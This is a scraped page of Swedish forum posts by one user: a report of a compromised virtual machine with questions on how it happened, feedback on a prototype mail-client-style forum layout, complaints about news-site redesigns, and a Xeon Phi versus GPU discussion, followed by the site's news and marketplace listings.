except KeyboardInterrupt:
print_('\nCancelling...')
if __name__ == '__main__':
main()
# vim:ts=4:sw=4:expandtab
Ser inte något roligt där, ser inte direkt någon förstörelse eller något, men vet ju inte vad alla inladdade script gör heller men allt på VM:en verkar helt orörd.
Iaf, har återställt VM:en till en backup som gjordes någon timme innan den blev kompromissad, MEN, varför var just denna VM:en? Var inget speciellt med denna, den var direkt inte "öppen" mot internet (ingen port redirect eller något i routern), hade flera andra VM i nätverket & massa andra datorer.
Hade inte heller öppnat upp root eller lagt till något nytt lösenord för root. Första loggen i terminalen var "cat /proc/cpuinfo" & sen passwd, sen hade personen full "su" rättigheter, så, jao, någon rolig exploit som användes eller något?
Så, någon annan som råkat ut för samma "attack", vad var syftet? Några tips hur jag kan täppa igenom hålet igen eller några andra funderingar & förslag ni har, skriv gärna.
Intressant tänk! Jag gillar det. Se också till så att den inte laddar om hela sidan när man byter tråd tex
Jajjemen det kommer i den riktiga versionen, om den nu blir av
Feedback: Forumlayout
Ok, så numera är det ju populärt att optimera webbsidor för lite mindre skärmar, även med responsiv layout brukar ändå inte utvecklarna "belöna" personer som sitter med stora skärmar.
Iaf, så har länge tänkt att testa en sak för mitt egna forum, jag gillar hur mycket information & hur snabbnavigerat tex Microsoft Outlook & Apple Mail är, 1 sidebar med inkorgen & mappar, en sidebar innehållande mailen & sen en spalt till höger där man kan läsa innehållet i mailet & svara på mail osv osv, det går snabbt att "mata av" alla sina olästa mail, inget jäkla fram & tillbaka hoppande i navigeringen.
Det sistnämnda är det som dagens forum lider mest av, allt jäkla hoppande mellan olika forumkategorier, trådar & inlägg osv, så dags att ta inspiration från ovan nämnda mail program & utnyttja bildskärmarnas upplösning.
Såhär såg forumet ut innan jag började möblera om:
http://imgur.com/a/2j5RW
Såhär ser det ut numera:
http://i.imgur.com/HXgGFVs.png
Testa själv:
http://forumx.jespera.se/forum/7-kylning-overklockning/164-an...
Registrera gärna ett testkonto (ingen email eller validering krävs, så får du tillgång till läst/oläst systemet också)
Disclaimer
Detta är alltså ett test, "prototypen" är bara ett lapptäcke av min gamla forummjukvara, ihopkokat på några minuter så både designen är inte ännu optimerad & det introducerades endel buggar
Du behöver en skärm med MINST en upplöning av 1440 i bredd, det är ett absolut minimum, allra helst 1920 eller 2560 i bredd, den "riktiga" versionen kommer givetvis vara bättre gjord så den även fungerar på mindre skärmar, då utan alltihop sida vid sida utan har man i framtiden en lågupplöst skärm så kommer ju layouten automatiskt att "kollapsas" ihop till en mer traditionell layout
Eftersom det är flera scroll kolumner i forumet (3st) så ser forumet bäst ut med ett operativsystem och/eller en webbläsare som "gömmer" scrollbaren, är scrollbaren synlig, visst, det fungerar med, bara lite visuellt strörande & kladdigt
Har bara testat denna i dom senaste webbläsarversionerna (Chrome & Safari) & mycket är nog trasigt i många andra webbläsare, speciellt lite äldre versioner, detta skulle såklart rättas till i den riktiga versionen
Saker som skall läggas till
Går man in i en forumkategori, tex http://forumx.jespera.se/forum/7-kylning-overklockning/ så kommer forumet att ladda in den senaste tråden du läste i den forumkategorin & visas vid det senaste inlägget du läste i den tråden
Lägga till favorit-forumkategorier, tex om man bara besöker "Programmering" & "Överklockning" i forumet så kan man spara dessa så samlas alla trådar från dom kategorierna i en samlad trådlista så man kan läsa alla sina olästa trådar i ett svep samtidigt för multipla forumkategorier åt gången
Mörkt tema (går att testa ett mörkt tema genom att lägga till class="dark-theme" på <body> för att se första utkastet av det temat)
MASSA annat, det mesta som saknas från andra forummjukvaror, buggfixar & hela köret
Så vad tycker ni om själva layouten? Jag kan inte poängtera tillräckligt att detta är en tidig prototyp, det är en jäkla lapptäcke, ihopkastat bara för att testa själva layouten så mycket annat är trasigt när det gäller forumet.
Ok, jäkla wall of text det blev men jao, ni som har lite större skärmar, eller snarare skärmar med lite högre upplösning, vad tycker ni? Gillar ni att man kan se allt samtidigt, sida vid sida på det sättet eller skall jag skrota skiten direkt?
Trend: Blir siter sämre & sämre?
Är det någon annan som har märkt att webbsiter börjar bli sämre & sämre?
Det hela eskalerade under 2015, då många nyhetssiter & bloggar som jag följde bytte design & layout, fullt fungerande hemsidor som var extremt lättlästa byttes ut till förmån mot kladd, artiklar som ligger huller om buller, dålig eller obefintlig brödtext (numera oftast bara rubriken & max en mening bördtext när det tidigare var flera paragrafer text under rubriken) osv osv.
Förändringarna känns enbart som ett desperat försök att få fler visningar där man tvingar in besökarna i artikeln, oftast i en kombination med clickbait rubriker. Men förstasidan på dessa hemsidor är så otroligt intetsägande & jobbiga att följa, det har resulterat i att jag läser dessa hemsidor allt mer sällan.
Tex, innan var Engadgets förstasida väldigt beskrivande när man kollade in förstasidan, man fick rubriker & en massa brödtext till varje artikel så man visste exakt vad man "fick", så man kunde avgöra om artikeln var värd att klicka in på eller inte. Numera är det bara rubrik + 1 mening brödtext som oftast inte säger något om innehållet i artikeln alls
Exakt samma sak med följande
http://thenextweb.com/
http://www.theverge.com
https://code.facebook.com
http://www.wired.com/category/enterprise
http://www.designboom.com
http://readwrite.com/#
osv osv (behövs fler exempel så säg till, lägger gärna till ett dussin till)
Fastcompany var tidigare väldigt lättläst, men nu, närapå total förvirring
http://www.fastcompany.com
"Hatar" även dom där siterna som envisas med att lägga artiklar sida vid sida där artiklarna har olika storlekar så man får antingen läsa hela vänsterspalten först, sen scrolla upp till toppen & läsa högerspalten, eller så får man växla mellan vänster & höger, om en artikel i vänsterspalten är lång så får man läsa hela den, sen får man scrolla tillbaka upp en bit för att läsa dom artiklarna man missade i högerspalten.
Ja, jag är nyfiken, är det någon mer som har tyckt att vissa siter blir sämre & sämre? Speciellt nyhetssiter & bloggar
Ni kanske har några egna exempel på sidor som förändrats till det sämre? Posta gärna isåfall eller om ni har hittat någon annan trend ni stör er på. Rätt bra att veta vad ni ogillar så man vet vad man skall undvika & för att kunna förbättra användarupplevelsen för besökarna
Inte alla som har ett GTX 970 liggandes, jag vill också ha ett sådant
Om du utnyttjar det så har du bättre prestanda än ett Xeon Phi. Dyraste kostade 40.000kr och hade 61 kärnor aka 1.23 GHz. Totalt alltså 75GHz (teoretiska max). Eller har jag helt fel kring Xeon Phi?, ganska så dyrt för den prestandan i så fall.
Ett sämre(mycket) kort än det du har alltså, alltså mitt R9 380 har en verkligt beräkningskapacitet på 870GHz.
Njaa, det går inte riktigt räkna exakt så, Xeon Phi kör 4 trådar per kärna, dom Xeon Phi som lanseras vilken sekund som helst kommer ha 72 kärnor, så 288 trådar per kort, kanske en klockfrekvens ökning också, säg 1.3GHz, så totalt ca 374GHz (går egentligen inte räkna så heller), har för mig kommande Xeon Phi använder Silvermont kärnor men som är kraftigt modifierade för HPC. Sen vet vi ju inte riktigt vilka kärnor som har bäst prestanda per GHz, Xeon Phi eller AMD/Nvidias GPU kärnor. Hade GPU varit så mycket bättre så hade ju inte världens snabbare superdator (fan vad löjligt det låter på svenska), använt sig av Xeon Phi istället för valfri GPU lösning.
Så det är svårt att jämföra rakt av.
Fördelen med Xeon Phi är ju att dom framöver kommer vara 100% Xeon kompatibla, så allt som kan köras på en Xeon CPU kan också köras fristående på en Xeon Phi, bra för mig som inte kan OpenGL, DirectX, Vulkan eller något liknande bibliotek för GPU.
Så problemet för mig är att jag i dagsläget INTE kan utnyttja mitt 970
Iofs, detta kanske är sjukt offtopic för din tråd, sorry
Just ja, nu är det lite mer uppenbart, tack för svaren
- Idag Dubbel kapacitet och högre prestanda i Western Digitals nya SSD-kretsar 3
- Idag Så ska Asus gottgöra kunder efter supportskandalen 9
- Igår Asus först med grafikkort för små chassin 16
- 14 / 6 Snabbtest: Termoelektrisk mobilkylare från Cooler Master 7
- 14 / 6 Gigabyte visar upp SSD med 14 GB/s i läshastighet 39
- Igår Microsoft raderar Minecraft-konton – rör upp känslor på Reddit 52
- 14 / 6 Microsoft: Därför ska du inte använda lokalt konto 67
- 13 / 6 Aktivister stämmer Valve för osund konkurrens 82
- 13 / 6 Ny sajt läcker kommande spel från Epic Games Store 19
- 12 / 6 Gratis är gott! Del 1: De bästa gratisalternativen till Photoshop 82
- Igår Meta tränar inte sin AI via Instagram och Facebook 13
- Igår Krönika: Apple Intelligence är en frisk fläkt 17
- Igår Helgsnack: Varför valde du din processor? 89
- 14 / 6 WWDC-veckan 2024: De största nyheterna från Apples utvecklarfest 14
- 14 / 6 Microsoft stoppar kritiserade lanseringen av Recall – inte redo 42
- Bootbar USB med MacOS Sonoma som funkar på M3 Macbook Air?3
- Roborock S8 Ström indikatorn lyser inte10
- Angående fotgängare på parkeringar133
- Kopiera mina mini dv band till datorn.5
- Försöker gissa vilket spel det är som en sexåring berättar om.21
- Plötsligt randig bild10
- Så ska Asus gottgöra kunder efter supportskandalen10
- Fiberinstallation i Brf62
- Dubbel kapacitet och högre prestanda i Western Digitals nya SSD-kretsar3
- Köpråd KVM för stationär och laptop med 2 skärmar0
- Säljes Dragons Dogma 2
- Säljes MSI KATANA B13 GTX 4070
- Säljes Wooting 60HE
- Köpes Kylare till socket 1150 i5 4690k
- Säljes Garderobsrensning - Xbox, Spel, Steam kontroller
- Köpes Steamdeck el motsv
- Säljes ASUS 27" ROG Swift PG279Q 165 Hz G-Sync
- Säljes Garderobsrensning bla 13600KF, DDR5 A-die, Nintendo Switch, vattenkylning och cable sleeving m.m.
- Köpes Söker nästan komplett dator i delar (Utan chassi)
- Säljes MSI RTX 3060 Ventus 12GB OC
Tester av chassi, grafikkort, processorer m.m.
- Snabbtest: Termoelektrisk mobilkylare från Cooler Master7
- SweClockers Noobbyggarguide – den kompletta guiden0
- SweClockers Noobbyggarguide - Del 6: Den grafiska finalen10
- Musmatta med trådlös laddning – Dålig på det mesta9
- Duellen: Premium-kylare vs. budgetfavorit30
- SweClockers Noobbyggarguide - Del 5: Kabelkrångel3
- SweClockers Noobbyggarguide - Del 4: Aggressivt aggregat8
- Årets bästa soundbar – vi väljer favoriterna78
- Snabba upp din gamla dator med uppgradering67
- SweClockers Noobbyggarguide - Del 3: Den dramatiska moderkortsmonteringen12